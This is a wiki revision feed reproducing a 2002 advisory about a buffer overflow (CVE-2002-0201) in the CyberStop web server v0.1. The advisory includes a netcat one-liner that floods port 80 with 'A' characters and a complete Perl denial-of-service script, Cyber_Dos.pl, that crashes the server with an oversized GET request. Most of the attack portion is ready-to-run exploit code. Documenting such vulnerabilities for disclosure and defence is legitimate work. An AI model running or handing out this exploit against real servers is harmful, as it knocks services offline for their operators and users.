https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2002-0201_Cyber%E2%80%8B%E2%80%8Bstop_Web%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E
CVE-2002-0201 Cyberstop Web緩衝區溢出漏洞 - Revision history
2026-04-26T09:48:54Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2002-0201_Cyber%E2%80%8B%E2%80%8Bstop_Web%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&diff=797&oldid=prev
Pwnwiki: Created page with "==INFO== <pre> ------oOo------ CyberStop WEbserver DoS Remote attacks. ------oOo------ CyberStop WEbserver for Windows 9x/NT/2000 contains remote vulnerabilities which allow..."
2021-03-31T06:47:31Z
<p>Created page with "==INFO== <pre> ------oOo------ CyberStop WEbserver DoS Remote attacks. ------oOo------ CyberStop WEbserver for Windows 9x/NT/2000 contains remote vulnerabilities which allow..."</p>
<p><b>New page</b></p><div>==INFO==<br />
<pre><br />
------oOo------<br />
CyberStop WEbserver DoS Remote attacks.<br />
------oOo------<br />
<br />
CyberStop WEbserver for Windows 9x/NT/2000 contains remote vulnerabilities <br />
which allow users to attack remote services on the server. <br />
Exploit information included.<br />
<br />
Company Affected: www.cyberstop.com.sg<br />
Download: http://www.cyberstop.com.sg/webserver/webserver.zip<br />
Version: v0.1<br />
Date Added: 12-DIC-01<br />
Size: 2.84 MB<br />
OS Affected: Windows ALL.<br />
<br />
Author:<br />
<br />
** Alex Hernandez <al3xhernandez@ureach.com><br />
** Thanks all the people from Spain and Argentina.<br />
** Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins <br />
** G.Maggiotti & H.Oliveira.<br />
<br />
----=[Brief Description]=------------<br />
<br />
Proof Of concept <br />
<br />
# uname -a<br />
SunOS Lab 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-5_10<br />
#<br />
<br />
# perl -e ' for ($i=1;$i<2049;$i++) { print "A";} ' | nc 10.0.0.1 80<br />
#<br />
<br />
Exist a service named "Proyect1" and may be u can reading something <br />
like this on Windows Server: <br />
<br />
"Run-time error 40006":<br />
Wrong protocol or connection state for the request transaction or <br />
request.<br />
<br />
"Run-time error "5":<br />
Invalid procedure call or argument.<br />
<br />
Crash system and the admin need restart the service!.<br />
<br />
------oOo------------------------------------<br />
Vendor Response:<br />
The vendor was notified<br />
help@cyberstopasia.com<br />
http://www.cyberstop.com.sg<br />
Patch Temporary: No Data of vendor.<br />
<br />
Alex Hernandez <al3xhernandez@ureach.com> (c) 2002.<br />
<br />
------oOo------------------------------------<br />
</pre><br />
<br />
==Cyber_Dos.pl==<br />
<pre><br />
#!/usr/bin/perl<br />
# Simple script to send a long 'A^s' command to the server, <br />
# resulting in the server crashing.<br />
#<br />
# CyberStop WEbserver v0.1 proof-of-concept exploit<br />
# By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.<br />
#<br />
# Thanks all the people from Spain and Argentina.<br />
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, <br />
# G.Maggiotti & H.Oliveira.<br />
# <br />
#<br />
# Usage: perl -x Cyber_DoS.pl -s <server><br />
#<br />
# Example: <br />
#<br />
# perl -x Cyber_DoS.pl -s 10.0.0.1<br />
# <br />
# Crash was successful !<br />
#<br />
<br />
use Getopt::Std;<br />
use IO::Socket;<br />
<br />
print("\nCyberStop WEbserver v0.1 DoS exploit (c)2002.\n");<br />
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");<br />
<br />
getopts('s:', \%args);<br />
if(!defined($args{s})){&usage;}<br />
<br />
($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);<br />
<br />
$def = "A";<br />
$num = "3000";<br />
$data .= $def x $num;<br />
$serv = $args{s};<br />
$port = 80;<br />
$buf = "GET /$data /HTTP/1.0\r\n\r\n";<br />
<br />
<br />
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");<br />
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");<br />
$proto = getprotobyname('tcp') || die("Error: $!\n");<br />
<br />
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");<br />
connect(S, $paddr) ||die ("Error: $!");<br />
select(S); $| = 1; select(STDOUT);<br />
print S "$buf";<br />
<br />
<br />
print("\nCrash was successful !\n\n");<br />
<br />
sub usage {die("\n\nUsage: perl -x $0 -s <server>\n\n");}<br />
</pre></div>
Pwnwiki